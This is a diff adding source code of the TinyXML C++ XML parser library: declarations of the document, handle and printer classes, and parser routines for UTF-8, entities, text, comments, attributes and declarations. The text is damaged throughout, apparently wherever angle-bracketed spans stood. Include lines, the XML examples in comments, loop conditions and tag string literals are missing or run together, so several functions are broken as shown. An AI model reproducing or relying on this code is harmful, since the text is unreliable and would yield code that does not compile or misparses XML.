The error + state is automatically cleared if you Parse a new XML block. + */ + void ClearError() { error = false; + errorId = 0; + errorDesc = ""; + errorLocation.row = errorLocation.col = 0; + //errorLocation.last = 0; + } + + /** Write the document to standard out using formatted printing ("pretty print"). */ + void Print() const { Print( stdout, 0 ); } + + /* Write the document to a string using formatted printing ("pretty print"). This + will allocate a character array (new char[]) and return it as a pointer. The + calling code pust call delete[] on the return char* to avoid a memory leak. + */ + //char* PrintToMemory() const; + + /// Print this Document to a FILE stream. + virtual void Print( FILE* cfile, int depth = 0 ) const; + // [internal use] + void SetError( int err, const char* errorLocation, TiXmlParsingData* prevData, TiXmlEncoding encoding ); + + virtual const TiXmlDocument* ToDocument() const { return this; } ///< Cast to a more defined type. Will return null not of the requested type. + virtual TiXmlDocument* ToDocument() { return this; } ///< Cast to a more defined type. Will return null not of the requested type. + + /** Walk the XML tree visiting this node and all of its children. + */ + virtual bool Accept( TiXmlVisitor* content ) const; + +protected : + // [internal use] + virtual TiXmlNode* Clone() const; + #ifdef TIXML_USE_STL + virtual void StreamIn( std::istream * in, TIXML_STRING * tag ); + #endif + +private: + void CopyTo( TiXmlDocument* target ) const; + + bool error; + int errorId; + TIXML_STRING errorDesc; + int tabsize; + TiXmlCursor errorLocation; + bool useMicrosoftBOM; // the UTF-8 BOM were found when read. Note this, and try to write. +}; + + +/** + A TiXmlHandle is a class that wraps a node pointer with null checks; this is + an incredibly useful thing. Note that TiXmlHandle is not part of the TinyXml + DOM structure. It is a separate utility class. + + Take an example: + @verbatim + + + + + + + @endverbatim + + Assuming you want the value of "attributeB" in the 2nd "Child" element, it's very + easy to write a *lot* of code that looks like: + + @verbatim + TiXmlElement* root = document.FirstChildElement( "Document" ); + if ( root ) + { + TiXmlElement* element = root->FirstChildElement( "Element" ); + if ( element ) + { + TiXmlElement* child = element->FirstChildElement( "Child" ); + if ( child ) + { + TiXmlElement* child2 = child->NextSiblingElement( "Child" ); + if ( child2 ) + { + // Finally do something useful. + @endverbatim + + And that doesn't even cover "else" cases. TiXmlHandle addresses the verbosity + of such code. A TiXmlHandle checks for null pointers so it is perfectly safe + and correct to use: + + @verbatim + TiXmlHandle docHandle( &document ); + TiXmlElement* child2 = docHandle.FirstChild( "Document" ).FirstChild( "Element" ).Child( "Child", 1 ).ToElement(); + if ( child2 ) + { + // do something useful + @endverbatim + + Which is MUCH more concise and useful. + + It is also safe to copy handles - internally they are nothing more than node pointers. + @verbatim + TiXmlHandle handleCopy = handle; + @endverbatim + + What they should not be used for is iteration: + + @verbatim + int i=0; + while ( true ) + { + TiXmlElement* child = docHandle.FirstChild( "Document" ).FirstChild( "Element" ).Child( "Child", i ).ToElement(); + if ( !child ) + break; + // do something + ++i; + } + @endverbatim + + It seems reasonable, but it is in fact two embedded while loops. The Child method is + a linear walk to find the element, so this code would iterate much more than it needs + to. Instead, prefer: + + @verbatim + TiXmlElement* child = docHandle.FirstChild( "Document" ).FirstChild( "Element" ).FirstChild( "Child" ).ToElement(); + + for( child; child; child=child->NextSiblingElement() ) + { + // do something + } + @endverbatim +*/ +class TiXmlHandle +{ +public: + /// Create a handle from any node (at any depth of the tree.) This can be a null pointer. + TiXmlHandle( TiXmlNode* _node ) { this->node = _node; } + /// Copy constructor + TiXmlHandle( const TiXmlHandle& ref ) { this->node = ref.node; } + TiXmlHandle operator=( const TiXmlHandle& ref ) { if ( &ref != this ) this->node = ref.node; return *this; } + + /// Return a handle to the first child node. + TiXmlHandle FirstChild() const; + /// Return a handle to the first child node with the given name. + TiXmlHandle FirstChild( const char * value ) const; + /// Return a handle to the first child element. + TiXmlHandle FirstChildElement() const; + /// Return a handle to the first child element with the given name. + TiXmlHandle FirstChildElement( const char * value ) const; + + /** Return a handle to the "index" child with the given name. + The first child is 0, the second 1, etc. + */ + TiXmlHandle Child( const char* value, int index ) const; + /** Return a handle to the "index" child. + The first child is 0, the second 1, etc. + */ + TiXmlHandle Child( int index ) const; + /** Return a handle to the "index" child element with the given name. + The first child element is 0, the second 1, etc. Note that only TiXmlElements + are indexed: other types are not counted. + */ + TiXmlHandle ChildElement( const char* value, int index ) const; + /** Return a handle to the "index" child element. + The first child element is 0, the second 1, etc. Note that only TiXmlElements + are indexed: other types are not counted. + */ + TiXmlHandle ChildElement( int index ) const; + + #ifdef TIXML_USE_STL + TiXmlHandle FirstChild( const std::string& _value ) const { return FirstChild( _value.c_str() ); } + TiXmlHandle FirstChildElement( const std::string& _value ) const { return FirstChildElement( _value.c_str() ); } + + TiXmlHandle Child( const std::string& _value, int index ) const { return Child( _value.c_str(), index ); } + TiXmlHandle ChildElement( const std::string& _value, int index ) const { return ChildElement( _value.c_str(), index ); } + #endif + + /** Return the handle as a TiXmlNode. This may return null. + */ + TiXmlNode* ToNode() const { return node; } + /** Return the handle as a TiXmlElement. This may return null. + */ + TiXmlElement* ToElement() const { return ( ( node && node->ToElement() ) ? node->ToElement() : 0 ); } + /** Return the handle as a TiXmlText. This may return null. + */ + TiXmlText* ToText() const { return ( ( node && node->ToText() ) ? node->ToText() : 0 ); } + /** Return the handle as a TiXmlUnknown. This may return null. + */ + TiXmlUnknown* ToUnknown() const { return ( ( node && node->ToUnknown() ) ? node->ToUnknown() : 0 ); } + + /** @deprecated use ToNode. + Return the handle as a TiXmlNode. This may return null. + */ + TiXmlNode* Node() const { return ToNode(); } + /** @deprecated use ToElement. + Return the handle as a TiXmlElement. This may return null. + */ + TiXmlElement* Element() const { return ToElement(); } + /** @deprecated use ToText() + Return the handle as a TiXmlText. This may return null. + */ + TiXmlText* Text() const { return ToText(); } + /** @deprecated use ToUnknown() + Return the handle as a TiXmlUnknown. This may return null. + */ + TiXmlUnknown* Unknown() const { return ToUnknown(); } + +private: + TiXmlNode* node; +}; + + +/** Print to memory functionality. The TiXmlPrinter is useful when you need to: + + -# Print to memory (especially in non-STL mode) + -# Control formatting (line endings, etc.) + + When constructed, the TiXmlPrinter is in its default "pretty printing" mode. + Before calling Accept() you can call methods to control the printing + of the XML document. After TiXmlNode::Accept() is called, the printed document can + be accessed via the CStr(), Str(), and Size() methods. + + TiXmlPrinter uses the Visitor API. + @verbatim + TiXmlPrinter printer; + printer.SetIndent( "\t" ); + + doc.Accept( &printer ); + fprintf( stdout, "%s", printer.CStr() ); + @endverbatim +*/ +class TiXmlPrinter : public TiXmlVisitor +{ +public: + TiXmlPrinter() : depth( 0 ), simpleTextPrint( false ), + buffer(), indent( " " ), lineBreak( "\n" ) {} + + virtual bool VisitEnter( const TiXmlDocument& doc ); + virtual bool VisitExit( const TiXmlDocument& doc ); + + virtual bool VisitEnter( const TiXmlElement& element, const TiXmlAttribute* firstAttribute ); + virtual bool VisitExit( const TiXmlElement& element ); + + virtual bool Visit( const TiXmlDeclaration& declaration ); + virtual bool Visit( const TiXmlText& text ); + virtual bool Visit( const TiXmlComment& comment ); + virtual bool Visit( const TiXmlUnknown& unknown ); + + /** Set the indent characters for printing. By default 4 spaces + but tab (\t) is also useful, or null/empty string for no indentation. + */ + void SetIndent( const char* _indent ) { indent = _indent ? _indent : "" ; } + /// Query the indention string. + const char* Indent() { return indent.c_str(); } + /** Set the line breaking string. By default set to newline (\n). + Some operating systems prefer other characters, or can be + set to the null/empty string for no indenation. + */ + void SetLineBreak( const char* _lineBreak ) { lineBreak = _lineBreak ? _lineBreak : ""; } + /// Query the current line breaking string. + const char* LineBreak() { return lineBreak.c_str(); } + + /** Switch over to "stream printing" which is the most dense formatting without + linebreaks. Common when the XML is needed for network transmission. + */ + void SetStreamPrinting() { indent = ""; + lineBreak = ""; + } + /// Return the result. + const char* CStr() { return buffer.c_str(); } + /// Return the length of the result string. + size_t Size() { return buffer.size(); } + + #ifdef TIXML_USE_STL + /// Return the result. + const std::string& Str() { return buffer; } + #endif + +private: + void DoIndent() { + for( int i=0; i +#include + +#include "tinyxml.h" + +//#define DEBUG_PARSER +#if defined( DEBUG_PARSER ) +# if defined( DEBUG ) && defined( _MSC_VER ) +# include +# define TIXML_LOG OutputDebugString +# else +# define TIXML_LOG printf +# endif +#endif + +// Note tha "PutString" hardcodes the same list. This +// is less flexible than it appears. Changing the entries +// or order will break putstring. +TiXmlBase::Entity TiXmlBase::entity[ TiXmlBase::NUM_ENTITY ] = +{ + { "&", 5, '&' }, + { "<", 4, '<' }, + { ">", 4, '>' }, + { """, 6, '\"' }, + { "'", 6, '\'' } +}; + +// Bunch of unicode info at: +// http://www.unicode.org/faq/utf_bom.html +// Including the basic of this table, which determines the #bytes in the +// sequence from the lead byte. 1 placed for invalid sequences -- +// although the result will be junk, pass it through as much as possible. +// Beware of the non-characters in UTF-8: +// ef bb bf (Microsoft "lead bytes") +// ef bf be +// ef bf bf + +const unsigned char TIXML_UTF_LEAD_0 = 0xefU; +const unsigned char TIXML_UTF_LEAD_1 = 0xbbU; +const unsigned char TIXML_UTF_LEAD_2 = 0xbfU; + +const int TiXmlBase::utf8ByteTable[256] = +{ + // 0 1 2 3 4 5 6 7 8 9 a b c d e f + 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, // 0x00 + 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, // 0x10 + 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, // 0x20 + 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, // 0x30 + 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, // 0x40 + 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, // 0x50 + 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, // 0x60 + 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, // 0x70 End of ASCII range + 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, // 0x80 0x80 to 0xc1 invalid + 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, // 0x90 + 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, // 0xa0 + 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, // 0xb0 + 1, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, // 0xc0 0xc2 to 0xdf 2 byte + 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, // 0xd0 + 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, // 0xe0 0xe0 to 0xef 3 byte + 4, 4, 4, 4, 4, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 // 0xf0 0xf0 to 0xf4 4 byte, 0xf5 and higher invalid +}; + + +void TiXmlBase::ConvertUTF32ToUTF8( unsigned long input, char* output, int* length ) +{ + const unsigned long BYTE_MASK = 0xBF; + const unsigned long BYTE_MARK = 0x80; + const unsigned long FIRST_BYTE_MARK[7] = { 0x00, 0x00, 0xC0, 0xE0, 0xF0, 0xF8, 0xFC }; + + if (input < 0x80) + *length = 1; + else if ( input < 0x800 ) + *length = 2; + else if ( input < 0x10000 ) + *length = 3; + else if ( input < 0x200000 ) + *length = 4; + else + { *length = 0; return; } // This code won't covert this correctly anyway. + + output += *length; + + // Scary scary fall throughs. + switch (*length) + { + case 4: + --output; + *output = (char)((input | BYTE_MARK) & BYTE_MASK); + input >>= 6; + case 3: + --output; + *output = (char)((input | BYTE_MARK) & BYTE_MASK); + input >>= 6; + case 2: + --output; + *output = (char)((input | BYTE_MARK) & BYTE_MASK); + input >>= 6; + case 1: + --output; + *output = (char)(input | FIRST_BYTE_MARK[*length]); + } +} + + +/*static*/ int TiXmlBase::IsAlpha( unsigned char anyByte, TiXmlEncoding /*encoding*/ ) +{ + // This will only work for low-ascii, everything else is assumed to be a valid + // letter. I'm not sure this is the best approach, but it is quite tricky trying + // to figure out alhabetical vs. not across encoding. So take a very + // conservative approach. + +// if ( encoding == TIXML_ENCODING_UTF8 ) +// { + if ( anyByte < 127 ) + return isalpha( anyByte ); + else + return 1; // What else to do? The unicode set is huge...get the english ones right. +// } +// else +// { +// return isalpha( anyByte ); +// } +} + + +/*static*/ int TiXmlBase::IsAlphaNum( unsigned char anyByte, TiXmlEncoding /*encoding*/ ) +{ + // This will only work for low-ascii, everything else is assumed to be a valid + // letter. I'm not sure this is the best approach, but it is quite tricky trying + // to figure out alhabetical vs. not across encoding. So take a very + // conservative approach. + +// if ( encoding == TIXML_ENCODING_UTF8 ) +// { + if ( anyByte < 127 ) + return isalnum( anyByte ); + else + return 1; // What else to do? The unicode set is huge...get the english ones right. +// } +// else +// { +// return isalnum( anyByte ); +// } +} + + +class TiXmlParsingData +{ + friend class TiXmlDocument; + public: + void Stamp( const char* now, TiXmlEncoding encoding ); + + const TiXmlCursor& Cursor() const { return cursor; } + + private: + // Only used by the document! + TiXmlParsingData( const char* start, int _tabsize, int row, int col ) + { + assert( start ); + stamp = start; + tabsize = _tabsize; + cursor.row = row; + cursor.col = col; + } + + TiXmlCursor cursor; + const char* stamp; + int tabsize; +}; + + +void TiXmlParsingData::Stamp( const char* now, TiXmlEncoding encoding ) +{ + assert( now ); + + // Do nothing if the tabsize is 0. + if ( tabsize < 1 ) + { + return; + } + + // Get the current row, column. + int row = cursor.row; + int col = cursor.col; + const char* p = stamp; + assert( p ); + + while ( p < now ) + { + // Treat p as unsigned, so we have a happy compiler. + const unsigned char* pU = (const unsigned char*)p; + + // Code contributed by Fletcher Dunn: (modified by lee) + switch (*pU) { + case 0: + // We *should* never get here, but in case we do, don't + // advance past the terminating null character, ever + return; + + case '\r': + // bump down to the next line + ++row; + col = 0; + // Eat the character + ++p; + + // Check for \r\n sequence, and treat this as a single character + if (*p == '\n') { + ++p; + } + break; + + case '\n': + // bump down to the next line + ++row; + col = 0; + + // Eat the character + ++p; + + // Check for \n\r sequence, and treat this as a single + // character. (Yes, this bizarre thing does occur still + // on some arcane platforms...) + if (*p == '\r') { + ++p; + } + break; + + case '\t': + // Eat the character + ++p; + + // Skip to next tab stop + col = (col / tabsize + 1) * tabsize; + break; + + case TIXML_UTF_LEAD_0: + if ( encoding == TIXML_ENCODING_UTF8 ) + { + if ( *(p+1) && *(p+2) ) + { + // In these cases, don't advance the column. These are + // 0-width spaces. + if ( *(pU+1)==TIXML_UTF_LEAD_1 && *(pU+2)==TIXML_UTF_LEAD_2 ) + p += 3; + else if ( *(pU+1)==0xbfU && *(pU+2)==0xbeU ) + p += 3; + else if ( *(pU+1)==0xbfU && *(pU+2)==0xbfU ) + p += 3; + else + { p +=3; ++col; } // A normal character. + } + } + else + { + ++p; + ++col; + } + break; + + default: + if ( encoding == TIXML_ENCODING_UTF8 ) + { + // Eat the 1 to 4 byte utf8 character. + int step = TiXmlBase::utf8ByteTable[*((const unsigned char*)p)]; + if ( step == 0 ) + step = 1; // Error case from bad encoding, but handle gracefully. + p += step; + + // Just advance one column, of course. + ++col; + } + else + { + ++p; + ++col; + } + break; + } + } + cursor.row = row; + cursor.col = col; + assert( cursor.row >= -1 ); + assert( cursor.col >= -1 ); + stamp = p; + assert( stamp ); +} + + +const char* TiXmlBase::SkipWhiteSpace( const char* p, TiXmlEncoding encoding ) +{ + if ( !p || !*p ) + { + return 0; + } + if ( encoding == TIXML_ENCODING_UTF8 ) + { + while ( *p ) + { + const unsigned char* pU = (const unsigned char*)p; + + // Skip the stupid Microsoft UTF-8 Byte order marks + if ( *(pU+0)==TIXML_UTF_LEAD_0 + && *(pU+1)==TIXML_UTF_LEAD_1 + && *(pU+2)==TIXML_UTF_LEAD_2 ) + { + p += 3; + continue; + } + else if(*(pU+0)==TIXML_UTF_LEAD_0 + && *(pU+1)==0xbfU + && *(pU+2)==0xbeU ) + { + p += 3; + continue; + } + else if(*(pU+0)==TIXML_UTF_LEAD_0 + && *(pU+1)==0xbfU + && *(pU+2)==0xbfU ) + { + p += 3; + continue; + } + + if ( IsWhiteSpace( *p ) ) // Still using old rules for white space. + ++p; + else + break; + } + } + else + { + while ( *p && IsWhiteSpace( *p ) ) + ++p; + } + + return p; +} + +#ifdef TIXML_USE_STL +/*static*/ bool TiXmlBase::StreamWhiteSpace( std::istream * in, TIXML_STRING * tag ) +{ + for( ;; ) + { + if ( !in->good() ) return false; + + int c = in->peek(); + // At this scope, we can't get to a document. So fail silently. + if ( !IsWhiteSpace( c ) || c <= 0 ) + return true; + + *tag += (char) in->get(); + } +} + +/*static*/ bool TiXmlBase::StreamTo( std::istream * in, int character, TIXML_STRING * tag ) +{ + //assert( character > 0 && character < 128 ); // else it won't work in utf-8 + while ( in->good() ) + { + int c = in->peek(); + if ( c == character ) + return true; + if ( c <= 0 ) // Silent failure: can't get document at this scope + return false; + + in->get(); + *tag += (char) c; + } + return false; +} +#endif + +// One of TinyXML's more performance demanding functions. Try to keep the memory overhead down. The +// "assign" optimization removes over 10% of the execution time. +// +const char* TiXmlBase::ReadName( const char* p, TIXML_STRING * name, TiXmlEncoding encoding ) +{ + // Oddly, not supported on some comilers, + //name->clear(); + // So use this: + *name = ""; + assert( p ); + + // Names start with letters or underscores. + // Of course, in unicode, tinyxml has no idea what a letter *is*. The + // algorithm is generous. + // + // After that, they can be letters, underscores, numbers, + // hyphens, or colons. (Colons are valid ony for namespaces, + // but tinyxml can't tell namespaces from names.) + if ( p && *p + && ( IsAlpha( (unsigned char) *p, encoding ) || *p == '_' ) ) + { + const char* start = p; + while( p && *p + && ( IsAlphaNum( (unsigned char ) *p, encoding ) + || *p == '_' + || *p == '-' + || *p == '.' + || *p == ':' ) ) + { + //(*name) += *p; // expensive + ++p; + } + if ( p-start > 0 ) { + name->assign( start, p-start ); + } + return p; + } + return 0; +} + +const char* TiXmlBase::GetEntity( const char* p, char* value, int* length, TiXmlEncoding encoding ) +{ + // Presume an entity, and pull it out. + TIXML_STRING ent; + int i; + *length = 0; + + if ( *(p+1) && *(p+1) == '#' && *(p+2) ) + { + unsigned long ucs = 0; + ptrdiff_t delta = 0; + unsigned mult = 1; + + if ( *(p+2) == 'x' ) + { + // Hexadecimal. + if ( !*(p+3) ) return 0; + + const char* q = p+3; + q = strchr( q, ';' ); + + if ( !q || !*q ) return 0; + + delta = q-p; + --q; + + while ( *q != 'x' ) + { + if ( *q >= '0' && *q <= '9' ) + ucs += mult * (*q - '0'); + else if ( *q >= 'a' && *q <= 'f' ) + ucs += mult * (*q - 'a' + 10); + else if ( *q >= 'A' && *q <= 'F' ) + ucs += mult * (*q - 'A' + 10 ); + else + return 0; + mult *= 16; + --q; + } + } + else + { + // Decimal. + if ( !*(p+2) ) return 0; + + const char* q = p+2; + q = strchr( q, ';' ); + + if ( !q || !*q ) return 0; + + delta = q-p; + --q; + + while ( *q != '#' ) + { + if ( *q >= '0' && *q <= '9' ) + ucs += mult * (*q - '0'); + else + return 0; + mult *= 10; + --q; + } + } + if ( encoding == TIXML_ENCODING_UTF8 ) + { + // convert the UCS to UTF-8 + ConvertUTF32ToUTF8( ucs, value, length ); + } + else + { + *value = (char)ucs; + *length = 1; + } + return p + delta + 1; + } + + // Now try to match it. + for( i=0; iappend( cArr, len ); + } + } + else + { + bool whitespace = false; + + // Remove leading white space: + p = SkipWhiteSpace( p, encoding ); + while ( p && *p + && !StringEqual( p, endTag, caseInsensitive, encoding ) ) + { + if ( *p == '\r' || *p == '\n' ) + { + whitespace = true; + ++p; + } + else if ( IsWhiteSpace( *p ) ) + { + whitespace = true; + ++p; + } + else + { + // If we've found whitespace, add it before the + // new character. Any whitespace just becomes a space. + if ( whitespace ) + { + (*text) += ' '; + whitespace = false; + } + int len; + char cArr[4] = { 0, 0, 0, 0 }; + p = GetChar( p, cArr, &len, encoding ); + if ( len == 1 ) + (*text) += cArr[0]; // more efficient + else + text->append( cArr, len ); + } + } + } + if ( p && *p ) + p += strlen( endTag ); + return ( p && *p ) ? p : 0; +} + +#ifdef TIXML_USE_STL + +void TiXmlDocument::StreamIn( std::istream * in, TIXML_STRING * tag ) +{ + // The basic issue with a document is that we don't know what we're + // streaming. Read something presumed to be a tag (and hope), then + // identify it, and call the appropriate stream method on the tag. + // + // This "pre-streaming" will never read the closing ">" so the + // sub-tag can orient itself. + + if ( !StreamTo( in, '<', tag ) ) + { + SetError( TIXML_ERROR_PARSING_EMPTY, 0, 0, TIXML_ENCODING_UNKNOWN ); + return; + } + + while ( in->good() ) + { + int tagIndex = (int) tag->length(); + while ( in->good() && in->peek() != '>' ) + { + int c = in->get(); + if ( c <= 0 ) + { + SetError( TIXML_ERROR_EMBEDDED_NULL, 0, 0, TIXML_ENCODING_UNKNOWN ); + break; + } + (*tag) += (char) c; + } + + if ( in->good() ) + { + // We now have something we presume to be a node of + // some sort. Identify it, and call the node to + // continue streaming. + TiXmlNode* node = Identify( tag->c_str() + tagIndex, TIXML_DEFAULT_ENCODING ); + + if ( node ) + { + node->StreamIn( in, tag ); + bool isElement = node->ToElement() != 0; + delete node; + node = 0; + + // If this is the root element, we're done. Parsing will be + // done by the >> operator. + if ( isElement ) + { + return; + } + } + else + { + SetError( TIXML_ERROR, 0, 0, TIXML_ENCODING_UNKNOWN ); + return; + } + } + } + // We should have returned sooner. + SetError( TIXML_ERROR, 0, 0, TIXML_ENCODING_UNKNOWN ); +} + +#endif + +const char* TiXmlDocument::Parse( const char* p, TiXmlParsingData* prevData, TiXmlEncoding encoding ) +{ + ClearError(); + + // Parse away, at the document level. Since a document + // contains nothing but other tags, most of what happens + // here is skipping white space. + if ( !p || !*p ) + { + SetError( TIXML_ERROR_DOCUMENT_EMPTY, 0, 0, TIXML_ENCODING_UNKNOWN ); + return 0; + } + + // Note that, for a document, this needs to come + // before the while space skip, so that parsing + // starts from the pointer we are given. + location.Clear(); + if ( prevData ) + { + location.row = prevData->cursor.row; + location.col = prevData->cursor.col; + } + else + { + location.row = 0; + location.col = 0; + } + TiXmlParsingData data( p, TabSize(), location.row, location.col ); + location = data.Cursor(); + + if ( encoding == TIXML_ENCODING_UNKNOWN ) + { + // Check for the Microsoft UTF-8 lead bytes. + const unsigned char* pU = (const unsigned char*)p; + if ( *(pU+0) && *(pU+0) == TIXML_UTF_LEAD_0 + && *(pU+1) && *(pU+1) == TIXML_UTF_LEAD_1 + && *(pU+2) && *(pU+2) == TIXML_UTF_LEAD_2 ) + { + encoding = TIXML_ENCODING_UTF8; + useMicrosoftBOM = true; + } + } + + p = SkipWhiteSpace( p, encoding ); + if ( !p ) + { + SetError( TIXML_ERROR_DOCUMENT_EMPTY, 0, 0, TIXML_ENCODING_UNKNOWN ); + return 0; + } + + while ( p && *p ) + { + TiXmlNode* node = Identify( p, encoding ); + if ( node ) + { + p = node->Parse( p, &data, encoding ); + LinkEndChild( node ); + } + else + { + break; + } + + // Did we get encoding info? + if ( encoding == TIXML_ENCODING_UNKNOWN + && node->ToDeclaration() ) + { + TiXmlDeclaration* dec = node->ToDeclaration(); + const char* enc = dec->Encoding(); + assert( enc ); + + if ( *enc == 0 ) + encoding = TIXML_ENCODING_UTF8; + else if ( StringEqual( enc, "UTF-8", true, TIXML_ENCODING_UNKNOWN ) ) + encoding = TIXML_ENCODING_UTF8; + else if ( StringEqual( enc, "UTF8", true, TIXML_ENCODING_UNKNOWN ) ) + encoding = TIXML_ENCODING_UTF8; // incorrect, but be nice + else + encoding = TIXML_ENCODING_LEGACY; + } + + p = SkipWhiteSpace( p, encoding ); + } + + // Was this empty? + if ( !firstChild ) { + SetError( TIXML_ERROR_DOCUMENT_EMPTY, 0, 0, encoding ); + return 0; + } + + // All is well. + return p; +} + +void TiXmlDocument::SetError( int err, const char* pError, TiXmlParsingData* data, TiXmlEncoding encoding ) +{ + // The first error in a chain is more accurate - don't set again! + if ( error ) + return; + + assert( err > 0 && err < TIXML_ERROR_STRING_COUNT ); + error = true; + errorId = err; + errorDesc = errorString[ errorId ]; + + errorLocation.Clear(); + if ( pError && data ) + { + data->Stamp( pError, encoding ); + errorLocation = data->Cursor(); + } +} + + +TiXmlNode* TiXmlNode::Identify( const char* p, TiXmlEncoding encoding ) +{ + TiXmlNode* returnNode = 0; + + p = SkipWhiteSpace( p, encoding ); + if( !p || !*p || *p != '<' ) + { + return 0; + } + + p = SkipWhiteSpace( p, encoding ); + + if ( !p || !*p ) + { + return 0; + } + + // What is this thing? + // - Elements start with a letter or underscore, but xml is reserved. + // - Comments: "; + + if ( !StringEqual( p, startTag, false, encoding ) ) + { + if ( document ) + document->SetError( TIXML_ERROR_PARSING_COMMENT, p, data, encoding ); + return 0; + } + p += strlen( startTag ); + + // [ 1475201 ] TinyXML parses entities in comments + // Oops - ReadText doesn't work, because we don't want to parse the entities. + // p = ReadText( p, &value, false, endTag, false, encoding ); + // + // from the XML spec: + /* + [Definition: Comments may appear anywhere in a document outside other markup; in addition, + they may appear within the document type declaration at places allowed by the grammar. + They are not part of the document's character data; an XML processor MAY, but need not, + make it possible for an application to retrieve the text of comments. For compatibility, + the string "--" (double-hyphen) MUST NOT occur within comments.] Parameter entity + references MUST NOT be recognized within comments. + + An example of a comment: + + + */ + + value = ""; + // Keep all the white space. + while ( p && *p && !StringEqual( p, endTag, false, encoding ) ) + { + value.append( p, 1 ); + ++p; + } + if ( p && *p ) + p += strlen( endTag ); + + return p; +} + + +const char* TiXmlAttribute::Parse( const char* p, TiXmlParsingData* data, TiXmlEncoding encoding ) +{ + p = SkipWhiteSpace( p, encoding ); + if ( !p || !*p ) return 0; + + if ( data ) + { + data->Stamp( p, encoding ); + location = data->Cursor(); + } + // Read the name, the '=' and the value. + const char* pErr = p; + p = ReadName( p, &name, encoding ); + if ( !p || !*p ) + { + if ( document ) document->SetError( TIXML_ERROR_READING_ATTRIBUTES, pErr, data, encoding ); + return 0; + } + p = SkipWhiteSpace( p, encoding ); + if ( !p || !*p || *p != '=' ) + { + if ( document ) document->SetError( TIXML_ERROR_READING_ATTRIBUTES, p, data, encoding ); + return 0; + } + + ++p; // skip '=' + p = SkipWhiteSpace( p, encoding ); + if ( !p || !*p ) + { + if ( document ) document->SetError( TIXML_ERROR_READING_ATTRIBUTES, p, data, encoding ); + return 0; + } + + const char* end; + const char SINGLE_QUOTE = '\''; + const char DOUBLE_QUOTE = '\"'; + + if ( *p == SINGLE_QUOTE ) + { + ++p; + end = "\'"; // single quote in string + p = ReadText( p, &value, false, end, false, encoding ); + } + else if ( *p == DOUBLE_QUOTE ) + { + ++p; + end = "\""; // double quote in string + p = ReadText( p, &value, false, end, false, encoding ); + } + else + { + // All attribute values should be in single or double quotes. + // But this is such a common error that the parser will try + // its best, even without them. + value = ""; + while ( p && *p // existence + && !IsWhiteSpace( *p ) // whitespace + && *p != '/' && *p != '>' ) // tag end + { + if ( *p == SINGLE_QUOTE || *p == DOUBLE_QUOTE ) { + // [ 1451649 ] Attribute values with trailing quotes not handled correctly + // We did not have an opening quote but seem to have a + // closing one. Give up and throw an error. + if ( document ) document->SetError( TIXML_ERROR_READING_ATTRIBUTES, p, data, encoding ); + return 0; + } + value += *p; + ++p; + } + } + return p; +} + +#ifdef TIXML_USE_STL +void TiXmlText::StreamIn( std::istream * in, TIXML_STRING * tag ) +{ + while ( in->good() ) + { + int c = in->peek(); + if ( !cdata && (c == '<' ) ) + { + return; + } + if ( c <= 0 ) + { + TiXmlDocument* document = GetDocument(); + if ( document ) + document->SetError( TIXML_ERROR_EMBEDDED_NULL, 0, 0, TIXML_ENCODING_UNKNOWN ); + return; + } + + (*tag) += (char) c; + in->get(); // "commits" the peek made above + + if ( cdata && c == '>' && tag->size() >= 3 ) { + size_t len = tag->size(); + if ( (*tag)[len-2] == ']' && (*tag)[len-3] == ']' ) { + // terminator of cdata. + return; + } + } + } +} +#endif + +const char* TiXmlText::Parse( const char* p, TiXmlParsingData* data, TiXmlEncoding encoding ) +{ + value = ""; + TiXmlDocument* document = GetDocument(); + + if ( data ) + { + data->Stamp( p, encoding ); + location = data->Cursor(); + } + + const char* const startTag = ""; + + if ( cdata || StringEqual( p, startTag, false, encoding ) ) + { + cdata = true; + + if ( !StringEqual( p, startTag, false, encoding ) ) + { + if ( document ) + document->SetError( TIXML_ERROR_PARSING_CDATA, p, data, encoding ); + return 0; + } + p += strlen( startTag ); + + // Keep all the white space, ignore the encoding, etc. + while ( p && *p + && !StringEqual( p, endTag, false, encoding ) + ) + { + value += *p; + ++p; + } + + TIXML_STRING dummy; + p = ReadText( p, &dummy, false, endTag, false, encoding ); + return p; + } + else + { + bool ignoreWhite = true; + + const char* end = "<"; + p = ReadText( p, &value, ignoreWhite, end, false, encoding ); + if ( p && *p ) + return p-1; // don't truncate the '<' + return 0; + } +} + +#ifdef TIXML_USE_STL +void TiXmlDeclaration::StreamIn( std::istream * in, TIXML_STRING * tag ) +{ + while ( in->good() ) + { + int c = in->get(); + if ( c <= 0 ) + { + TiXmlDocument* document = GetDocument(); + if ( document ) + document->SetError( TIXML_ERROR_EMBEDDED_NULL, 0, 0, TIXML_ENCODING_UNKNOWN ); + return; + } + (*tag) += (char) c; + + if ( c == '>' ) + { + // All is well. + return; + } + } +} +#endif + +const char* TiXmlDeclaration::Parse( const char* p, TiXmlParsingData* data, TiXmlEncoding _encoding ) +{ + p = SkipWhiteSpace( p, _encoding ); + // Find the beginning, find the end, and look for + // the stuff in-between. + TiXmlDocument* document = GetDocument(); + if ( !p || !*p || !StringEqual( p, "SetError( TIXML_ERROR_PARSING_DECLARATION, 0, 0, _encoding ); + return 0; + } + if ( data ) + { + data->Stamp( p, _encoding ); + location = data->Cursor(); + } + p += 5; + + version = ""; + encoding = ""; + standalone = 